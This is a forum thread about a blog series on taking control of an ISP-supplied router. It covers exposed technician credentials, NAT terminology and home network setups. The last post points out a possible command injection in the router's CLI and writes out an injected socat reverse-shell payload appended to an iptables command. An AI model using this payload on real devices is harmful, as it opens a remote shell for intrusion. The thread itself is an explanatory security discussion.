A detailed look at the router provided by my ISP
0x90.psaux.io
A detailed look at the router provided by my ISP
1–10 of 184 posts
Re: A detailed look at the router provided by my ISP
#2A while back, I was playing around with the cable modem / router the ISP gave me because I was curious and an idiot. After screwing around a bit, I managed to find a vulnerability that exposed technician credentials plaintext and they actually worked. Had no idea where to report it though, because the manufacturers contact page could be summed up as fuck you we don't talk directly to consumers. I dont think the vulnerability was that bad, as you had to be logged in to the web interface already with another account, but still.
I don't really trust ISP provided hardware / software now though.
Re: A detailed look at the router provided by my ISP
#3Interesting read! There's actually 3 parts to this:
Part 2: https://0x90.psaux.io/2020/03/19/Taking-Back-What-Is-Already...
And 3: https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already...
Summary from the end of Part 3:
"So we managed to change passwords for both ssh and telnet, gain access to Root user for the web interface, changed that password too. We changed ACS URL to ours and remove the IP restrictions. To put it simply, we cleaned up our router from our ISP. Good for our privacy."
Re: A detailed look at the router provided by my ISP
#4Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
Re: A detailed look at the router provided by my ISP
#5...and that's why my ISPs router is running in modem mode with a non-ISP-controlled router from Ubiquiti behind it - which I may replace with a pfSense box in the future.
I'm pretty happy that my cable ISP is allowing this mode so I don't have to double-NAT in my setup.
Re: A detailed look at the router provided by my ISP
#6Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
Very true. Yet at the same time, it does route traffic to the appropriate boxes. And the name 'router', when referring to something someone has at their house, has entered the vernacular to mean "the box at home which lets me share the internet connection across all my computers".
Most folks have no idea how it works behind the scenes, which typically is a combination of NAT (IPv4), routing (IPv6), DHCP, DNS, UPnP, and more. So, it's just "the router".
Re: A detailed look at the router provided by my ISP
#7A while back, I was playing around with the cable modem / router the ISP gave me because I was curious and an idiot. After screwing around a bit, I managed to find a vulnerability that exposed technician credentials plaintext and they actually worked. Had no idea where to report it though, because the manufacturers contact page could be summed up as fuck you we don't talk directly to consumers . I dont think the vuln…
You never know. The same technician credentials could potentially work on many routers from the same ISP, maybe even through WAN.
Re: A detailed look at the router provided by my ISP
#8Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
RFC 1918 does allow that the internet was changing rather fast back in 1995 and accepts it probably wont be the final word: https://tools.ietf.org/html/rfc1812#section-1.3.1
Re: A detailed look at the router provided by my ISP
#9Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
The box in people's home's colloquially known as a router actually commonly combines a lot of functions into one:
* router
* firewall
* NAT device
* modem
* switch
* access point
* DNS resolver
* DHCP server
And probably others I'm not thinking of :-)
Re: A detailed look at the router provided by my ISP
#10it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection.
For example
iptables %s > %s 2>&1
iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1
iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane